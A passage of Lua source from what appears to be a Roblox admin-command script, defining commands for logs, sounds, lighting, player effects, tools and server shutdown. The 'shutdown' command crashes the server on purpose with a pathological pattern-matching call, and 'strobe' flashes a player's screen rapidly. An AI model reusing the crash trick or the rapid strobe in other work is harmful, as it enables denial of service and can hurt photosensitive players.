6341
6342 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6343 IRC.Logs = {}
6344 end};
6345
6346 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6347 CommandLogs = {}
6348 ChatLogs = {}
6349 IRC.Logs = {}
6350 end};
6351
6352 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6353 Server.GDS:SetAsync("ExploitLog", {})
6354 end};
6355
6356 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6357 local List,Correlate,SoundName = {},{},{}
6358 for Name,Info in pairs(SoundList) do
6359 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6360 table.insert(List, View)
6361 Correlate[View] = Info[1]
6362 end
6363
6364 local CanClick = true
6365 if Rank == "Member" then CanClick = false end
6366 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6367 Clicked.Event:connect(function(ClickName)
6368 local OldSoundId = nil
6369 SOUND:StopGlobalSound()
6370 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6371 SOUND:PlayGlobalSound(Correlate[ClickName])
6372 end
6373 end)
6374 end};
6375
6376 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6377 SOUND:SyncSoundList(Speaker)
6378 end};
6379
6380 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6381 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6382 if Answer == "Yes" then
6383 Server.Workspace.Terrain:Clear()
6384 end
6385 end};
6386
6387 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6388 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6389 if Answer == "Yes" then
6390 for _,Obj in pairs(Workspace:GetChildren()) do
6391 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6392 Obj:Destroy()
6393 end
6394 end
6395 end
6396 end};
6397
6398 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6399 CORE:MakeBase()
6400 end};
6401
6402 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6403 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6404 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6405 CustomSounds = {}
6406 end
6407 if tostring(Arguments[1]) then
6408 local Request = MARKET:GetItemInfo(Arguments[1])
6409 if Request.AssetTypeId == 3 then
6410 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6411 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6412 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6413 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6414 else
6415 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6416 end
6417 end
6418 end};
6419
6420 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6421 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6422 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6423 CustomSounds = {}
6424 end
6425
6426 local Removed = {}
6427 for Num,Data in pairs(CustomSounds) do
6428 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6429 table.insert(Removed, Data[1])
6430 table.remove(CustomSounds, Num)
6431 end
6432 end
6433
6434 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6435
6436 SOUND:SyncSoundList()
6437
6438 if #Removed > 0 then
6439 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6440 else
6441 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6442 end
6443 end};
6444
6445 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6446 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6447 if Answer == "Yes" then
6448 Server.GDS:SetAsync("MML Custom Sounds", {})
6449 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6450 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6451 end
6452 end};
6453
6454 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6455 local Players = STRING:Scan(Arguments[1], Speaker)
6456 local SpeakerTesting = false
6457 for _,Player in pairs(Players) do
6458 if Player == Speaker then SpeakerTesting = true end
6459 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6460 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6461 --wait(10)
6462 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6463 end)() end
6464 end
6465 if SpeakerTesting == false then
6466 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6467 end
6468 end};
6469
6470 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6471 local Players = STRING:Scan(Arguments[1], Speaker)
6472 local Compile = {}
6473 for _,Player in pairs(Players) do
6474 local PlayerInfo = ClientInfo[Player.Name]
6475 if PlayerInfo then
6476 if PlayerInfo.Benchmark then
6477 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6478 else
6479 table.insert(Compile, Player.Name..": No score")
6480 end
6481 end
6482 end
6483 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6484 end};
6485
6486 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6487 local Players = STRING:Scan(Arguments[1], Speaker)
6488 for _,Player in pairs(Players) do
6489 CORE:Chatted(Arguments[2], Player, true)
6490 end
6491 end};
6492
6493 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6494 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6495 end};
6496
6497 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6498 local Players = STRING:Scan(Arguments[1], Speaker)
6499 for _,Player in pairs(Players) do
6500 if Player.Character ~= nil then
6501 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6502 if Player.Character.Torso:FindFirstChild("Neck") then
6503 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6504 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6505 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6506 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6507 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6508 end
6509 end
6510 end
6511 end
6512 end};
6513
6514 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6515 local Players = STRING:Scan(Arguments[1], Speaker)
6516 for _,Player in pairs(Players) do
6517 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6518 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6519 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6520 end
6521 end
6522 end};
6523
6524 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6525 local Players = STRING:Scan(Arguments[1], Speaker)
6526 for _,Player in pairs(Players) do
6527 local _,RankNum = RANK:GetRank(Player)
6528 if RankNum <= RANK:ConvertRank(Rank) then
6529 CORE:FlingPlayer(Player)
6530 end
6531 end
6532 end};
6533
6534 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6535 local Players = STRING:Scan(Arguments[1], Speaker)
6536 for _,Player in pairs(Players) do
6537 local _,RankNum = RANK:GetRank(Player)
6538 if RankNum <= RANK:ConvertRank(Rank) then
6539 Flings[Player.Name] = true
6540 CORE:FlingPlayer(Player)
6541 end
6542 end
6543 end};
6544
6545 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6546 local Players = STRING:Scan(Arguments[1], Speaker)
6547 for _,Player in pairs(Players) do
6548 local _,RankNum = RANK:GetRank(Player)
6549 if RankNum <= RANK:ConvertRank(Rank) then
6550 Flings[Player.Name] = nil
6551 end
6552 end
6553 end};
6554
6555 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6556 local Players = STRING:Scan(Arguments[1], Speaker)
6557 for _,Player in pairs(Players) do
6558 CORE:Nuke(Player)
6559 end
6560 end};
6561
6562 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6563 local Players = STRING:Scan(Arguments[1], Speaker)
6564 for _,Player in pairs(Players) do
6565 Beeps[Player.Name] = true
6566 SOUND:BeepPlayer(Player)
6567 end
6568 end};
6569
6570 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6571 local Players = STRING:Scan(Arguments[1], Speaker)
6572 for _,Player in pairs(Players) do
6573 if Player.PlayerGui then
6574 Beeps[Player.Name] = nil
6575 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6576 if Obj.Name == "Annoy" then
6577 Obj:Stop()
6578 Obj:Destroy()
6579 end
6580 end
6581 end
6582 end
6583 end};
6584
6585 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6586 local Time = Arguments[1]
6587 if Time == "day" or Time == "noon" then Time = "12" end
6588 if Time == "night" or Time == "midnight" then Time = "0" end
6589 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6590 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6591 if Time == "afternoon" then Time = "15:30" end
6592 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6593 end};
6594
6595 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6596 local Players = STRING:Scan(Arguments[1], Speaker)
6597 for _,Player in pairs(Players) do
6598 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6599 end
6600 end};
6601
6602 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6603 local AbuseMode = false
6604 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6605 local Players = STRING:Scan(Arguments[1], Speaker)
6606 for _,Player in pairs(Players) do
6607 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6608 end
6609 end};
6610
6611 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6612 local Players = STRING:Scan(Arguments[1], Speaker)
6613 for _,Player in pairs(Players) do
6614 CORE:Insert(125013769, Player.Backpack, true)
6615 end
6616 end};
6617
6618 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6619 local Players = STRING:Scan(Arguments[1], Speaker)
6620 for _,Player in pairs(Players) do
6621 if Player.Character then
6622 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6623 end
6624 end
6625 end};
6626
6627 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6628 CORE:ResetLighting()
6629 repeat
6630 Server.Lighting.Ambient = Color3.new(1,1,1)
6631 Server.Lighting.FogColor = Color3.new(1,1,1)
6632 Server.Lighting.Brightness = 1
6633 Server.Lighting.TimeOfDay = 14
6634 wait(0.1)
6635 Server.Lighting.Ambient = Color3.new(0,0,0)
6636 Server.Lighting.FogColor = Color3.new(0,0,0)
6637 Server.Lighting.Brightness = 0
6638 Server.Lighting.TimeOfDay = 0
6639 wait(0.1)
6640 until ModLighting == false
6641 end};
6642
6643 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6644 CORE:ResetLighting()
6645 repeat
6646 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6647 Server.Lighting.Ambient = Color
6648 Server.Lighting.FogColor = Color
6649 Server.Lighting.TimeOfDay = 0
6650 Server.Lighting.FogEnd = 500
6651 wait(0.1)
6652 until ModLighting == false
6653 end};
6654
6655 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6656 CORE:FixLighting()
6657 end};
6658
6659 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6660 local Players = STRING:Scan(Arguments[1], Speaker)
6661 for _,Player in pairs(Players) do
6662 if Player:FindFirstChild("PlayerGui") then
6663 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6664 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6665 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6666 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6667 end
6668 end
6669 end};
6670
6671 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6672 local Players = STRING:Scan(Arguments[1], Speaker)
6673 for _,Player in pairs(Players) do
6674 if Player:FindFirstChild("PlayerGui") then
6675 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6676 end
6677 end
6678 end};
6679
6680 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6681 local Players = STRING:Scan(Arguments[1], Speaker)
6682 for _,Player in pairs(Players) do
6683 if Player:FindFirstChild("PlayerGui") then
6684 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6685 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6686 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6687 end
6688 end
6689 end};
6690
6691 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6692 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6693 if Suc then
6694 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6695 else
6696 Server.TS:Teleport(game.PlaceId, Speaker)
6697 end
6698 end};
6699
6700 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6701 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6702 end};
6703
6704 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6705 local NewAbuse = Arguments[1]
6706 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6707 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6708 end
6709
6710 local Match = false
6711 for _,AbuseCmd in pairs(Settings.AbuseList) do
6712 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6713 Match = true
6714 break
6715 end
6716 end
6717 if not Match then
6718 table.insert(Settings.AbuseList, NewAbuse)
6719 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6720 else
6721 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6722 end
6723 CORE:SetAbuseCommands()
6724 end};
6725
6726 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6727 local NewAbuse = Arguments[1]
6728 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6729 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6730 end
6731
6732 local Removed = false
6733 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6734 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6735 Removed = true
6736 table.remove(Settings.AbuseList, Num)
6737 end
6738 end
6739 if Removed then
6740 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6741 else
6742 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6743 end
6744 CORE:SetAbuseCommands()
6745 end};
6746
6747 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6748 local Players = STRING:Scan(Arguments[1], Speaker)
6749 for _,Player in pairs(Players) do
6750 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6751 Player.Character.Humanoid.MaxHealth = math.huge
6752 Player.Character.Humanoid.Health = math.huge
6753 end
6754 end
6755 end};
6756
6757 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6758 local Players = STRING:Scan(Arguments[1], Speaker)
6759 for _,Player in pairs(Players) do
6760 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6761 if Player.Character.Humanoid.MaxHealth == math.huge then
6762 Player.Character.Humanoid.MaxHealth = 100
6763 Player.Character.Humanoid.Health = 100
6764 else
6765 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6766 end
6767 end
6768 end
6769 end};
6770
6771 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6772 local Players = STRING:Scan(Arguments[1], Speaker)
6773 for _,Player in pairs(Players) do
6774 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6775 local Char = Player.Character
6776 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6777 end
6778 end
6779 end};
6780
6781 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6782 if tonumber(Arguments[2]) then
6783 local Players = STRING:Scan(Arguments[1], Speaker)
6784 for _,Player in pairs(Players) do
6785 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6786 Player.Character.Humanoid.Health = Arguments[2]
6787 end
6788 end
6789 end
6790 end};
6791
6792 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6793 if tonumber(Arguments[2]) then
6794 local Players = STRING:Scan(Arguments[1], Speaker)
6795 for _,Player in pairs(Players) do
6796 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6797 local Speed = tonumber(Arguments[2])
6798 if Speed then
6799 if Rank == "Member" then
6800 if Speed > 1000 then Speed = 1000
6801 elseif Speed < -1000 then Speed = -1000 end
6802 end
6803 Player.Character.Humanoid.WalkSpeed = Speed
6804 end
6805 end
6806 end
6807 end
6808 end};
6809
6810 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6811 if tonumber(Arguments[2]) then
6812 local Players = STRING:Scan(Arguments[1], Speaker)
6813 for _,Player in pairs(Players) do
6814 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6815 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6816 end
6817 end
6818 end
6819 end};
6820
6821 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6822 local Players = STRING:Scan(Arguments[1], Speaker)
6823 for _,Player in pairs(Players) do
6824 CORE:Fly(Player, 10000)
6825 end
6826 end};
6827
6828 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6829 local Players = STRING:Scan(Arguments[1], Speaker)
6830 for _,Player in pairs(Players) do
6831 CORE:Fly(Player, 1000000)
6832 end
6833 end};
6834
6835 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6836 local Players = STRING:Scan(Arguments[1], Speaker)
6837 for _,Player in pairs(Players) do
6838 if Player.Character then
6839 if Player.Character:FindFirstChild("StopMMLFly") then
6840 Player.Character.StopMMLFly:InvokeClient(Player)
6841 end
6842 end
6843 end
6844 end};
6845
6846 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6847 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6848 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6849 end};
6850
6851 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6852 local Players = STRING:Scan(Arguments[1], Speaker)
6853 for _,Player in pairs(Players) do
6854 CORE:GiveTools(Player, Arguments[2])
6855 end
6856 end};
6857
6858 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6859 local List = {}
6860 for _,Region in pairs(ToolRegions) do
6861 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6862 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6863 end)
6864 end
6865
6866 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6867 end};
6868
6869 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6870 local Players = STRING:Scan(Arguments[1], Speaker)
6871 for _,Player in pairs(Players) do
6872 CORE:GiveTools(Player, "btools")
6873 end
6874 end};
6875
6876 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6877 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6878 for _,Player in pairs(Server.Players:GetPlayers()) do
6879 Player:Kick()
6880 end
6881 Server.Workspace:ClearAllChildren()
6882 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6883 end};
6884
6885 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6886 local Players = STRING:Scan(Arguments[1], Speaker)
6887 for _,Player in pairs(Players) do
6888 CORE:Scale(Player, Arguments[2])
6889 end
6890 end};
6891
6892 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6893 local Players = STRING:Scan(Arguments[1], Speaker)
6894 for _,Player in pairs(Players) do
6895 CORE:Scale(Player, 50)
6896 end
6897 end};
6898
6899 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6900 local Players = STRING:Scan(Arguments[1], Speaker)
6901 for _,Player in pairs(Players) do
6902 CORE:Scale(Player, 70)
6903 end
6904 end, Hidden = true};
6905
6906 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6907 local Players = STRING:Scan(Arguments[1], Speaker)
6908 for _,Player in pairs(Players) do
6909 CORE:Scale(Player, 500)
6910 end
6911 end};
6912
6913 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6914 local Players = STRING:Scan(Arguments[1], Speaker)
6915 for _,Player in pairs(Players) do
6916 if Player.Character then
6917 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6918 Obj.Reflectance = 0.5
6919 Obj.BrickColor = BrickColor.new("New Yeller")
6920 end)
6921 end
6922 end
6923 end};
6924
6925 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6926 local Players = STRING:Scan(Arguments[1], Speaker)
6927 for _,Player in pairs(Players) do
6928 if Player.Character then
6929 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6930 Obj.Reflectance = 0.5
6931 end)
6932 end
6933 end
6934 end};
6935
6936 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6937 local Players = STRING:Scan(Arguments[1], Speaker)
6938 for _,Player in pairs(Players) do
6939 if Player.Character then
6940 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6941 Obj.Transparency = 0.5
6942 Obj.Reflectance = 0
6943 Obj.BrickColor = BrickColor.new("Institutional white")
6944 end)
6945 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6946 Obj.Transparency = 0.5
6947 end)
6948 end
6949 end
6950 end};
6951
6952 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6953 local Players = STRING:Scan(Arguments[1], Speaker)
6954 for _,Player in pairs(Players) do
6955 if Player.Character then
6956 for _,Obj in pairs(Player.Character:GetChildren()) do
6957 local Valid = false
6958 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6959 if Valid == true then Obj:Destroy() end
6960 end
6961 end
6962 end
6963 end};
6964
6965 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6966 local Players = STRING:Scan(Arguments[1], Speaker)
6967 for _,Player in pairs(Players) do
6968 if Player.Character then
6969 for _,Obj in pairs(Player.Character:GetChildren()) do
6970 local Valid = false
6971 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6972 if Valid == true then Obj:Destroy() end
6973 end
6974 end
6975 end
6976 end};
6977
6978 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6979 local Players = STRING:Scan(Arguments[1], Speaker)
6980 for _,Player in pairs(Players) do
6981 if Player.Character then
6982 for _,Obj in pairs(Player.Character:GetChildren()) do
6983 local Valid = false
6984 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6985 if Valid == true then Obj:Destroy() end
6986 end
6987 end
6988 end
6989 end};
6990
